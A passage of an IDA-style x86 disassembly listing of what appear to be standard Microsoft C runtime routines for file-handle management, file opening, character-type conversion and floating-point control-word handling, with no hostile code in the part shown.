loc_41DAF5:				; CODE XREF: sub_41D9A5+2Ej
					; sub_41D9A5+59j ...
		pop	esi
		leave
		retn
sub_41D9A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DAF8	proc near		; CODE XREF: sub_417E43+6Cp
					; sub_41C368+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_4C9248
		push	1000h
		call	sub_415D2F
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41DB21
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41DB32
; ---------------------------------------------------------------------------


loc_41DB21:				; CODE XREF: sub_41DAF8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41DB32:				; CODE XREF: sub_41DAF8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41DAF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DB3C	proc near		; CODE XREF: sub_417E43+61p
					; sub_4189C2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4CA4C0
		jb	short loc_41DB4B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41DB4B:				; CODE XREF: sub_41DB3C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4CA3C0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41DB3C	endp

; ---------------------------------------------------------------------------
		mov	eax, ds:dword_4CA3A0
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41DB76
		mov	eax, 200h
		jmp	short loc_41DB7C
; ---------------------------------------------------------------------------


loc_41DB76:				; CODE XREF: _0:0041DB6Dj
		cmp	eax, esi
		jge	short loc_41DB81
		mov	eax, esi


loc_41DB7C:				; CODE XREF: _0:0041DB74j
		mov	ds:dword_4CA3A0, eax


loc_41DB81:				; CODE XREF: _0:0041DB78j
		push	4
		push	eax
		call	sub_41F207
		pop	ecx
		mov	ds:dword_4C9380, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41DBB5
		push	4
		push	esi
		mov	ds:dword_4CA3A0, esi
		call	sub_41F207
		pop	ecx
		mov	ds:dword_4C9380, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41DBB5
		push	1Ah
		call	sub_417DFA
		pop	ecx


loc_41DBB5:				; CODE XREF: _0:0041DB92j _0:0041DBABj
		xor	ecx, ecx
		mov	eax, offset off_431A78


loc_41DBBC:				; CODE XREF: _0:0041DBD0j
		mov	edx, ds:dword_4C9380
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_431CF8
		jl	short loc_41DBBC
		xor	edx, edx
		mov	ecx, offset dword_431A88


loc_41DBD9:				; CODE XREF: _0:0041DC03j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_4CA3C0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41DBF6
		test	eax, eax
		jnz	short loc_41DBF9


loc_41DBF6:				; CODE XREF: _0:0041DBF0j
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41DBF9:				; CODE XREF: _0:0041DBF4j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_431AE8
		jl	short loc_41DBD9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DC07:				; DATA XREF: _2:00424028o
		call	sub_41894C
		cmp	ds:byte_4C90C4,	0
		jz	short locret_41DC1A
		jmp	loc_41F2B8
; ---------------------------------------------------------------------------

locret_41DC1A:				; CODE XREF: _0:0041DC13j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC1B	proc near		; CODE XREF: sub_417F58+2D4p
					; sub_417F58+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41DC27
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DC27:				; CODE XREF: sub_41DC1B+8j
		cmp	ds:dword_4C911C, 0
		jnz	short loc_41DC42
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41DC74
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DC42:				; CODE XREF: sub_41DC1B+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_42F56C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_4C912C
		call	ds:dword_422130	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41DC74
		cmp	[ebp+arg_0], 0
		jz	short loc_41DC81


loc_41DC74:				; CODE XREF: sub_41DC1B+1Ej
					; sub_41DC1B+51j
		mov	ds:dword_4C9084, 2Ah
		or	eax, 0FFFFFFFFh


loc_41DC81:				; CODE XREF: sub_41DC1B+57j
		pop	ebp
		retn
sub_41DC1B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DC83	proc near		; CODE XREF: sub_418762+5Ep
					; sub_41CC8C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_422BD0
		push	offset sub_41D894
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_4C924C
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DCF2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4228C0
		push	esi
		call	ds:dword_422028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41DCD0
		mov	eax, esi
		jmp	short loc_41DCED
; ---------------------------------------------------------------------------


loc_41DCD0:				; CODE XREF: sub_41DC83+47j
		lea	eax, [ebp+var_1C]
		push	eax
		push	esi
		push	offset dword_4325D4
		push	esi
		push	ebx
		call	ds:dword_42202C	; GetStringTypeA
		test	eax, eax
		jz	loc_41DDB8
		push	2
		pop	eax


loc_41DCED:				; CODE XREF: sub_41DC83+4Bj
		mov	ds:dword_4C924C, eax


loc_41DCF2:				; CODE XREF: sub_41DC83+2Fj
		cmp	eax, 2
		jnz	short loc_41DD1B
		mov	eax, [ebp+arg_14]
		cmp	eax, ebx
		jnz	short loc_41DD03
		mov	eax, ds:dword_4C911C


loc_41DD03:				; CODE XREF: sub_41DC83+79j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	ds:dword_42202C	; GetStringTypeA
		jmp	loc_41DDBA
; ---------------------------------------------------------------------------


loc_41DD1B:				; CODE XREF: sub_41DC83+72j
		cmp	eax, 1
		jnz	loc_41DDB8
		cmp	[ebp+arg_10], ebx
		jnz	short loc_41DD31
		mov	eax, ds:dword_4C912C
		mov	[ebp+arg_10], eax


loc_41DD31:				; CODE XREF: sub_41DC83+A4j
		push	ebx
		push	ebx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		mov	eax, [ebp+arg_18]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_10]
		call	ds:dword_422134	; MultiByteToWideChar
		mov	[ebp+var_20], eax
		cmp	eax, ebx
		jz	short loc_41DDB8
		mov	[ebp+var_4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D00
		mov	[ebp+var_18], esp
		mov	esi, esp
		mov	[ebp+var_24], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415500
		add	esp, 0Ch
		jmp	short loc_41DD87
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	esi, esi


loc_41DD87:				; CODE XREF: sub_41DC83+F7j
		or	[ebp+var_4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41DDB8
		push	[ebp+var_20]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	1
		push	[ebp+arg_10]
		call	ds:dword_422134	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41DDB8
		push	[ebp+arg_C]
		push	eax
		push	esi
		push	[ebp+arg_0]
		call	ds:dword_422028	; GetStringTypeW
		jmp	short loc_41DDBA
; ---------------------------------------------------------------------------


loc_41DDB8:				; CODE XREF: sub_41DC83+61j
					; sub_41DC83+9Bj ...
		xor	eax, eax


loc_41DDBA:				; CODE XREF: sub_41DC83+93j
					; sub_41DC83+133j
		lea	esp, [ebp-34h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DC83	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DDCC	proc near		; CODE XREF: sub_41DFE6:loc_41E15Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_4CA3C0


loc_41DDDB:				; CODE XREF: sub_41DDCC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41DE18
		lea	edx, [eax+100h]


loc_41DDE7:				; CODE XREF: sub_41DDCC+28j
		cmp	eax, edx
		jnb	short loc_41DE07
		test	byte ptr [eax+4], 1
		jz	short loc_41DDF6
		add	eax, 8
		jmp	short loc_41DDE7
; ---------------------------------------------------------------------------


loc_41DDF6:				; CODE XREF: sub_41DDCC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41DE5B


loc_41DE07:				; CODE XREF: sub_41DDCC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_4CA4C0
		jl	short loc_41DDDB
		jmp	short loc_41DE5B
; ---------------------------------------------------------------------------


loc_41DE18:				; CODE XREF: sub_41DDCC+13j
		mov	esi, 100h
		push	esi
		call	sub_415D2F
		test	eax, eax
		pop	ecx
		jz	short loc_41DE5B
		add	ds:dword_4CA4C0, 20h
		lea	ecx, ds:4CA3C0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41DE3E:				; CODE XREF: sub_41DDCC+88j
		cmp	eax, edx
		jnb	short loc_41DE56
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41DE3E
; ---------------------------------------------------------------------------


loc_41DE56:				; CODE XREF: sub_41DDCC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41DE5B:				; CODE XREF: sub_41DDCC+39j
					; sub_41DDCC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41DDCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE61	proc near		; CODE XREF: sub_41DFE6+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, ds:dword_4CA4C0
		push	edi
		jnb	short loc_41DEC1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CA3C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41DEC1
		cmp	ds:dword_42F354, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41DEB7
		sub	eax, 0
		jz	short loc_41DEAE
		dec	eax
		jz	short loc_41DEA9
		dec	eax
		jnz	short loc_41DEB7
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEA9:				; CODE XREF: sub_41DE61+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41DEB1
; ---------------------------------------------------------------------------


loc_41DEAE:				; CODE XREF: sub_41DE61+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41DEB1:				; CODE XREF: sub_41DE61+46j
					; sub_41DE61+4Bj
		call	ds:dword_422024	; SetStdHandle


loc_41DEB7:				; CODE XREF: sub_41DE61+36j
					; sub_41DE61+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41DED5
; ---------------------------------------------------------------------------


loc_41DEC1:				; CODE XREF: sub_41DE61+Cj
					; sub_41DE61+28j
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9
		or	eax, 0FFFFFFFFh


loc_41DED5:				; CODE XREF: sub_41DE61+5Ej
		pop	edi
		pop	esi
		retn
sub_41DE61	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DED8	proc near		; CODE XREF: sub_4187D7+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, ds:dword_4CA4C0
		push	edi
		jnb	short loc_41DF3B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:4CA3C0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41DF3B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41DF3B
		cmp	ds:dword_42F354, 1
		jnz	short loc_41DF31
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41DF28
		dec	ecx
		jz	short loc_41DF23
		dec	ecx
		jnz	short loc_41DF31
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41DF2B
; ---------------------------------------------------------------------------


loc_41DF23:				; CODE XREF: sub_41DED8+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41DF2B
; ---------------------------------------------------------------------------


loc_41DF28:				; CODE XREF: sub_41DED8+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41DF2B:				; CODE XREF: sub_41DED8+49j
					; sub_41DED8+4Ej
		call	ds:dword_422024	; SetStdHandle


loc_41DF31:				; CODE XREF: sub_41DED8+38j
					; sub_41DED8+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41DF4F
; ---------------------------------------------------------------------------


loc_41DF3B:				; CODE XREF: sub_41DED8+Cj
					; sub_41DED8+2Aj ...
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9
		or	eax, 0FFFFFFFFh


loc_41DF4F:				; CODE XREF: sub_41DED8+61j
		pop	edi
		pop	esi
		retn
sub_41DED8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF52	proc near		; CODE XREF: sub_4187D7+32p
					; sub_4187D7+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4CA4C0
		jnb	short loc_41DF7A
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_4CA3C0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41DF7A
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41DF7A:				; CODE XREF: sub_41DF52+Aj
					; sub_41DF52+23j
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41DF52	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF8F	proc near		; CODE XREF: sub_4188B5+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_4CA4C0
		jnb	short loc_41DFD8
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_4CA3C0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41DFD8
		push	eax
		call	sub_41DF52
		pop	ecx
		push	eax
		call	ds:dword_422020	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41DFCD
		call	ds:dword_42206C	; RtlGetLastWin32Error
		jmp	short loc_41DFCF
; ---------------------------------------------------------------------------


loc_41DFCD:				; CODE XREF: sub_41DF8F+34j
		xor	eax, eax


loc_41DFCF:				; CODE XREF: sub_41DF8F+3Cj
		test	eax, eax
		jz	short locret_41DFE5
		mov	ds:dword_4C9088, eax


loc_41DFD8:				; CODE XREF: sub_41DF8F+Aj
					; sub_41DF8F+22j
		mov	ds:dword_4C9084, 9
		or	eax, 0FFFFFFFFh

locret_41DFE5:				; CODE XREF: sub_41DF8F+42j
		retn
sub_41DF8F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFE6	proc near		; CODE XREF: sub_418A8C+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41E00C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41E017
; ---------------------------------------------------------------------------


loc_41E00C:				; CODE XREF: sub_41DFE6+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41E017:				; CODE XREF: sub_41DFE6+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41E031
		test	ch, 40h
		jnz	short loc_41E02D
		cmp	ds:dword_4C9358, eax
		jz	short loc_41E031


loc_41E02D:				; CODE XREF: sub_41DFE6+3Dj
		or	[ebp+var_1], 80h


loc_41E031:				; CODE XREF: sub_41DFE6+38j
					; sub_41DFE6+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41E069
		dec	eax
		jz	short loc_41E060
		dec	eax
		jz	short loc_41E057


loc_41E042:				; CODE XREF: sub_41DFE6+9Fj
					; sub_41DFE6+E8j ...
		mov	ds:dword_4C9084, 16h
		mov	ds:dword_4C9088, ebx
		jmp	loc_41E27C
; ---------------------------------------------------------------------------


loc_41E057:				; CODE XREF: sub_41DFE6+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41E070
; ---------------------------------------------------------------------------


loc_41E060:				; CODE XREF: sub_41DFE6+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41E070
; ---------------------------------------------------------------------------


loc_41E069:				; CODE XREF: sub_41DFE6+54j
		mov	[ebp+var_C], 80000000h


loc_41E070:				; CODE XREF: sub_41DFE6+78j
					; sub_41DFE6+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41E09E
		cmp	eax, 20h
		jz	short loc_41E095
		cmp	eax, 30h
		jz	short loc_41E08C
		cmp	eax, 40h
		jnz	short loc_41E042
		mov	[ebp+var_10], esi
		jmp	short loc_41E0A1
; ---------------------------------------------------------------------------


loc_41E08C:				; CODE XREF: sub_41DFE6+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41E0A1
; ---------------------------------------------------------------------------


loc_41E095:				; CODE XREF: sub_41DFE6+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41E0A1
; ---------------------------------------------------------------------------


loc_41E09E:				; CODE XREF: sub_41DFE6+90j
		mov	[ebp+var_10], ebx


loc_41E0A1:				; CODE XREF: sub_41DFE6+A4j
					; sub_41DFE6+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41E0EB
		jz	short loc_41E0E6
		cmp	ecx, ebx
		jz	short loc_41E0E6
		cmp	ecx, edi
		jz	short loc_41E0DD
		cmp	ecx, 200h
		jz	short loc_41E104
		cmp	ecx, 300h
		jnz	loc_41E042
		mov	[ebp+var_8], 2
		jmp	short loc_41E114
; ---------------------------------------------------------------------------


loc_41E0DD:				; CODE XREF: sub_41DFE6+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41E114
; ---------------------------------------------------------------------------


loc_41E0E6:				; CODE XREF: sub_41DFE6+D0j
					; sub_41DFE6+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41E114
; ---------------------------------------------------------------------------


loc_41E0EB:				; CODE XREF: sub_41DFE6+CEj
		cmp	ecx, 500h
		jz	short loc_41E10D
		cmp	ecx, 600h
		jz	short loc_41E104
		cmp	ecx, edx
		jz	short loc_41E10D
		jmp	loc_41E042
; ---------------------------------------------------------------------------


loc_41E104:				; CODE XREF: sub_41DFE6+E0j
					; sub_41DFE6+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41E114
; ---------------------------------------------------------------------------


loc_41E10D:				; CODE XREF: sub_41DFE6+10Bj
					; sub_41DFE6+117j
		mov	[ebp+var_8], 1


loc_41E114:				; CODE XREF: sub_41DFE6+F5j
					; sub_41DFE6+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41E133
		mov	ecx, ds:dword_4C908C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41E133
		push	1
		pop	esi


loc_41E133:				; CODE XREF: sub_41DFE6+138j
					; sub_41DFE6+148j
		test	al, 40h
		jz	short loc_41E141
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41E141:				; CODE XREF: sub_41DFE6+14Fj
		test	ah, 10h
		jz	short loc_41E148
		or	esi, edi


loc_41E148:				; CODE XREF: sub_41DFE6+15Ej
		test	al, 20h
		jz	short loc_41E154
		or	esi, 8000000h
		jmp	short loc_41E15E
; ---------------------------------------------------------------------------


loc_41E154:				; CODE XREF: sub_41DFE6+164j
		test	al, 10h
		jz	short loc_41E15E
		or	esi, 10000000h


loc_41E15E:				; CODE XREF: sub_41DFE6+16Cj
					; sub_41DFE6+170j
		call	sub_41DDCC
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41E17F
		and	ds:dword_4C9088, 0
		mov	ds:dword_4C9084, 18h
		jmp	short loc_41E1BD
; ---------------------------------------------------------------------------


loc_41E17F:				; CODE XREF: sub_41DFE6+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:off_42207C
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41E1B0
		push	esi
		call	ds:dword_422030	; GetFileType
		test	eax, eax
		jnz	short loc_41E1C4
		push	esi
		call	ds:off_422074


loc_41E1B0:				; CODE XREF: sub_41DFE6+1B6j
		call	ds:dword_42206C	; RtlGetLastWin32Error
		push	eax
		call	sub_41D064
		pop	ecx


loc_41E1BD:				; CODE XREF: sub_41DFE6+197j
		mov	eax, edi
		jmp	loc_41E29A
; ---------------------------------------------------------------------------


loc_41E1C4:				; CODE XREF: sub_41DFE6+1C1j
		cmp	eax, 2
		jnz	short loc_41E1CF
		or	[ebp+var_1], 40h
		jmp	short loc_41E1D8
; ---------------------------------------------------------------------------


loc_41E1CF:				; CODE XREF: sub_41DFE6+1E1j
		cmp	eax, 3
		jnz	short loc_41E1D8
		or	[ebp+var_1], 8


loc_41E1D8:				; CODE XREF: sub_41DFE6+1E7j
					; sub_41DFE6+1ECj
		push	esi
		push	ebx
		call	sub_41DE61
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:4CA3C0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41E281
		test	al, 80h
		jz	short loc_41E281
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41E281
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41C637
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41E236
		cmp	ds:dword_4C9088, 83h
		jz	short loc_41E281
		jmp	short loc_41E275
; ---------------------------------------------------------------------------


loc_41E236:				; CODE XREF: sub_41DFE6+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41C441
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E263
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41E263
		push	[ebp+var_10]
		push	ebx
		call	sub_41F310
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E275


loc_41E263:				; CODE XREF: sub_41DFE6+265j
					; sub_41DFE6+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41C637
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41E281


loc_41E275:				; CODE XREF: sub_41DFE6+24Ej
					; sub_41DFE6+27Bj
		push	ebx
		call	sub_4187D7
		pop	ecx


loc_41E27C:				; CODE XREF: sub_41DFE6+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41E29A
; ---------------------------------------------------------------------------


loc_41E281:				; CODE XREF: sub_41DFE6+221j
					; sub_41DFE6+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41E298
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41E298
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41E298:				; CODE XREF: sub_41DFE6+29Fj
					; sub_41DFE6+2A5j
		mov	eax, ebx


loc_41E29A:				; CODE XREF: sub_41DFE6+1D9j
					; sub_41DFE6+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DFE6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E29F	proc near		; CODE XREF: sub_41A62A+52p
		xor	eax, eax
		retn
sub_41E29F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E2A2	proc near		; CODE XREF: sub_41E2D7+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41E2ED
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41E37F
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41E2A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2D7	proc near		; CODE XREF: sub_41A916+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41E2A2
		pop	ecx
		pop	ecx
		retn
sub_41E2D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E2ED	proc near		; CODE XREF: sub_41E2A2+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41E2FE
		push	10h
		pop	eax


loc_41E2FE:				; CODE XREF: sub_41E2ED+Cj
		test	bl, 4
		jz	short loc_41E305
		or	al, 8


loc_41E305:				; CODE XREF: sub_41E2ED+14j
		test	bl, 8
		jz	short loc_41E30C
		or	al, 4


loc_41E30C:				; CODE XREF: sub_41E2ED+1Bj
		test	bl, 10h
		jz	short loc_41E313
		or	al, 2


loc_41E313:				; CODE XREF: sub_41E2ED+22j
		test	bl, 20h
		jz	short loc_41E31A
		or	al, 1


loc_41E31A:				; CODE XREF: sub_41E2ED+29j
		test	bl, 2
		jz	short loc_41E324
		or	eax, 80000h


loc_41E324:				; CODE XREF: sub_41E2ED+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41E35C
		cmp	edx, 400h
		jz	short loc_41E359
		cmp	edx, 800h
		jz	short loc_41E355
		cmp	edx, esi
		jnz	short loc_41E35C
		or	eax, edi
		jmp	short loc_41E35C
; ---------------------------------------------------------------------------


loc_41E355:				; CODE XREF: sub_41E2ED+5Ej
		or	eax, ebp
		jmp	short loc_41E35C
; ---------------------------------------------------------------------------


